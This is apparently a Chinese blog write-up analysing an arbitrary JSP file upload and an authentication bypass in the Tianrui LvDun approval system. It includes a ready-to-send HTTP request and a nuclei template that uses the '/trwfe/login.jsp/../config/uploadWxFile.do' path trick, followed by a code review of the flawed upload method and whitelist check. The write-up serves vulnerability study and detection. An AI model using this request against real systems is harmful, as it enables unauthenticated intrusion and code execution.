前言 打hvv遇到的,是任意文件上传的洞,网上还未全面公开,DayDayPoc上要30个积分兑换。其实这个洞相对简单,很适合我这种Java代审小白的体质,本着分析学习的态度,于是有了这篇文章。第一次写漏洞分析的文章,大佬可以不用看了,因为分析得比较基础且啰嗦,当然如果有写得不对的地方还请师傅们多多指教dd~
POC fofa指纹
http数据包 1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /trwfe/login.jsp/../config/uploadWxFile.do HTTP/1.1 Host : User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Connection : closeContent-Length : 222Content-Type : multipart/form-data; boundary=----WebKitFormBoundarynvgfpfpmAccept-Encoding : gzipContent-Disposition: form-data; name ="file"; filename="test.jsp" Content-Type : application/octet-stream <%out .print("The system has serious vulnerabilities");%>
nuclei-yaml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 id: TianRui-LvDun-UploadWxFile-RCE info: name: 天锐绿盾审批系统-uploadWxFile.do-任意文件上传 author: X1ly?S severity: critical description: 天锐绿盾审批系统-uploadWxFile.do-任意文件上传导致RCE http: - raw: - |- POST /trwfe/login.jsp/../config/uploadWxFile.do HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynvgfpfpm User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 ------WebKitFormBoundarynvgfpfpm Content-Disposition: form-data; name="file"; filename="rf67ugji89gcs.jsp" Content-Type: application/octet-stream <%out.print("r768hvdesdi" ); %> ------WebKitFormBoundarynvgfpfpm-- matchers: - type: status status: - 200 - type: word part: body words: - 'true' matchers-condition: and - method: GET path: - '{{BaseURL}}/rf67ugji89gcs.jsp' matchers: - type: status status: - 200 - type: word part: body words: - r768hvdesdi matchers-condition: and
漏洞复现 写入test.jsp文件
访问test.jsp,复现成功
漏洞定位
项目结构如下,采用了SpringMVC框架写法
由于我们已经有了poc,那分析起来很简单了,首先看这个路由:”/trwfe/login.jsp/../config/uploadWxFile.do”
有一个”/../“,说明进行了权限绕过,这个后面分析
项目根路径是”/trwfe”
然后是漏洞路由”/config/uploadWxFile.do”
那我们直接全局搜索”uploadWxFile”
直接跟踪到ConfigService的实现 \com\trwfe\service\impl\ConfigServiceImpl.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public boolean uploadWxFileToRoot (@RequestParam(value = "file", required = false) MultipartFile file, HttpServletRequest request, HttpServletResponse response) { OutputStream os = null ; String tempPath = System.getProperty("catalina.home" ) + File.separator + "webapps" + File.separator + "ROOT" + File.separator; File pt = new File (tempPath); if (!pt.exists()) { pt.mkdirs(); } try { os = new FileOutputStream (new File (tempPath + file.getOriginalFilename())); IOUtils.copy(file.getInputStream(), os); return true ; } catch (Exception e) { log.error("文件上传异常!" , e); } finally { IOUtils.closeQuietly(os); } return false ; } }
任意文件上传+目录跳转漏洞很显而易见了,首先使用springMVC的注解@RequestParam接收上传的文件对象
设置tempPath为/tomcat安装目录/webapps/ROOT/
然后做文件路径存在判断,不存在则创建
关键是这一行:os = new FileOutputStream(new File(tempPath + file.getOriginalFilename()));
直接使用tempPath + file.getOriginalFilename()拼接了未经任何处理的文件名
至少,在这个方法里uploadWxFileToRoot没有对文件名后缀进行任何过滤,也没有对目录跳转符进行任何过滤,但是到底是否真的能任意文件上传和目录跳转,我们还可以简单看看一些可能有过滤的位置,比如过滤器,拦截器,AOP。
过滤分析 怎么找该漏洞点的过滤代码呢?对于SpringMVC的架构项目来说,一般过滤性的代码会出现在以下位置
过滤器
过滤器没有发现明显的文件上传过滤逻辑
拦截器
拦截器也只有这一个,也没有发现明显的文件上传过滤逻辑
该拦截器作用是:利用自定义注解@Token控制是否生成或校验Token,防止重复提交
AOP切面
同上,AOP也没有过滤逻辑,它的作用是:从当前HTTP请求里提取登录用户信息,并放入线程上下文中,方便后续代码直接获取当前用户,无需重复从请求里取
于是我们可以断定这个任意文件上传漏洞是真实存在的!
路由分析 漏洞点分析出来没有任何过滤,然后我们分析路由
既然漏洞点位于\com\trwfe\service\impl\ConfigServiceImpl.java那么根据命名规则我们直接去看Config的控制器,搜索uploadWxFile
找到了方法@RequestMapping:/uploadWxFile.do
再看类级别的@RequestMapping:/config
再加上项目上下文根路径:/trwfe
Context Path是由内嵌 Jetty 服务器启动类 com.trwfe.Jetty 中的 WebAppContext 构造参数指定的,设置为 /trwfe
于是漏洞路由就是:/trwfe/config/uploadWxFile.do
鉴权绕过 找到了路由,还要分析鉴权,看这个接口是否是后台的,如果是能否绕过直接前台上传任意文件RCE?不能绕过的话危害就大打折扣了,因为要先取得后台权限才能上传任意文件了
怎么找鉴权的代码呢?其实和找过滤代码的方法类似,也是看过滤器,拦截器,AOP
过滤器会拦截所有进入Servlet容器的请求,做统一的认证、鉴权、跨域、日志等操作。
找法:搜索项目中实现了 javax.servlet.Filter 的类,尤其是继承 OncePerRequestFilter 或 DelegatingFilterProxy 的。重点看 doFilter() 方法中对请求路径和Session/Token的判断。
在Spring MVC项目中,很多项目会写一个 SecurityFilter、AuthFilter、SessionFilter 等。用来做鉴权
我们直接找有没有这些类
于是来到过滤器:\com\trwfe\filter\SecurityFilter.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class SecurityFilter extends DelegatingFilterProxy { public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest)servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; String url = request.getRequestURI(); if (SessionFilter.isNoNeedValidate(url, request)) { chain.doFilter(servletRequest, servletResponse); } else { super .doFilter((ServletRequest)request, (ServletResponse)response, chain); } } }
这段 SecurityFilter 代码的逻辑就是用来鉴权的,是一个请求入口过滤器 ,在请求到达真正的Controller之前,先做一层白名单判断 ,然后再决定是否进入真正的鉴权逻辑。
调用 SessionFilter.isNoNeedValidate 静态方法,判断当前 URL 是否在 免鉴权白名单 中
我们怎么确定这段鉴权的代码被应用到了我们的漏洞路由:/trwfe/config/uploadWxFile.do呢?
看web.xml配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <filter > <filter-name > springSecurityFilterChain</filter-name > <filter-class > com.trwfe.filter.SecurityFilter </filter-class > <init-param > <param-name > excludedPages</param-name > <param-value > user/logon.do</param-value > </init-param > </filter > <filter-mapping > <filter-name > springSecurityFilterChain</filter-name > <url-pattern > *.do</url-pattern > </filter-mapping > <filter-mapping > <filter-name > springSecurityFilterChain</filter-name > <url-pattern > /rest/*</url-pattern > <dispatcher > ERROR</dispatcher > <dispatcher > REQUEST</dispatcher > </filter-mapping >
这里表示对所有.do结尾的路由都使用这个过滤器鉴权
1 2 3 4 <filter-mapping > <filter-name > springSecurityFilterChain</filter-name > <url-pattern > *.do</url-pattern > </filter-mapping >
流程
用户请求 /trwfe/config/uploadWxFile.do
web.xml 的 <url-pattern>*.do</url-pattern> → 请求先进入 springSecurityFilterChain
DelegatingFilterProxy → 转发给 Spring Security 里的 SecurityFilter
SecurityFilter.doFilter() → 调用 SessionFilter.isNoNeedValidate(url, request)
如果在白名单 → 放行,不做鉴权
如果不在白名单 → 执行 Spring Security 的认证/授权流程
那么/trwfe/config/uploadWxFile.do肯定就是走这个过滤器鉴权的了,于是我们跟进到SessionFilter看isNoNeedValidate白名单的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static boolean isNoNeedValidate (String url, HttpServletRequest request) { String[] paths = { "/login.jsp" , "/user/logon.do" , "/service/" , "/menu/getI18N.do" , "/menu/getLang.do" , "/task/findTaskByIdToDingding.do" , "/file/dingApproval.do" , "/file/isFileExists.do" , "/file/downloadFileTr.do" , "/config/findAll.do" , "/task/findTaskDing.do" , "/task/getUserIdByCode_Ding.do" , "/task/getUserMobileToDing.do" , "/dept/findDepartmentTree.do" , "/file/changeLevel.do" , "/tasl/updateParameter.do" , "/file/dingdingRelieveApproval.do" , "/task/findTaskPage.do" , "/task/dingFindHistory.do" , "/config/findByPk.do" , "/task/dispatch.do" , "/fanwei/fanweiDispatch.do" , "/taskCommon/dispatch.do" , "/pages/fanweioa/fanweiApproval.jsp" , "/config/findByUserId.do" , "/task/ishandle.do" , "/file/isDecryptionFileExits.do" , "/file/downFileByconfirm.do" , "/file/isDensityFileExists.do" , "/file/downloadDensityFile.do" , "/ding/" , "/wx/" , "/fanwei/" , "/file/editRelieveVal.do" , "/task/finddensityConfirmationComments.do" , "/file/updateCancelWMVal.do" , "/file/updateCancelWMVal.do" , "/file/updateCancelWMValSlot.do" , "/invoker/findCategoryCombo.do" , "/file/downloadFileTrDlp.do" , "/file/isFileExistsDlp.do" , "/editor/isPreview.do" , "/file/downloadEx.do" , "/editor/dispatch.do" , "/file/getTxtContent.do" , "/file/downloadFileExtranet.do" , "/file/asyncDownload.do" , "/file/getStatus.do" , "/file/downloadByUuid.do" , "/file/getCompressPackageFileList.do" , "/editor/isPreviewByFileName.do" , "/file/getCompressPackageFileListByName.do" , "/task/validateDdApprover.do" , "/task/updateFileOutSendParameter.do" , "/task/findNodeChild.do" , "/task/fileList.do" , "/thirdSystemConfig/getFlowNodeInfo.do" , "/task/updateScreenshotParamD.do" , "/user/randomCode.do" , "/user/showRandomCode.do" , "/user/userUnLock.do" }; for (String path : paths) { if (url.startsWith(request.getContextPath() + path)) { return true ; } } return isDdWxDownLoad(url, request); }
可以看到我们的漏洞路由:/config/uploadWxFile.do不在白名单里
所以直接请求他是会走鉴权逻辑的
怎么绕过这个鉴权呢?
看这里的路径匹配逻辑
1 2 3 4 5 6 7 8 for (String path : paths) { if (url.startsWith(request.getContextPath() + path)) { return true ; } } return isDdWxDownLoad(url, request); }
遍历所有白名单路径前缀。
如果请求 URL 是这些前缀之一(加项目根路径),直接跳过鉴权。
否则调用 isDdWxDownLoad() 看是否属于特例白名单。
如果都不是 → 进入鉴权过滤器逻辑。
那么就很简单了,原理是鉴权的路由匹配逻辑存在缺陷,仅仅校验了路由是否是以白名单的前缀开始,并且没有对文件路径做目录跳转符的过滤 ,因为 login.jsp 在白名单中,startsWith判断发现是以白名单路由开头的,于是会在遇到 ../ 之前匹配成功,从而放行我们的绕过路由。于是我们这样构造就能成功绕过鉴权:/trwfe/config/uploadWxFile.do -> /trwfe/login.jsp/../config/uploadWxFile.do,或者/trwfe/service/../config/uploadWxFile.do等等都行!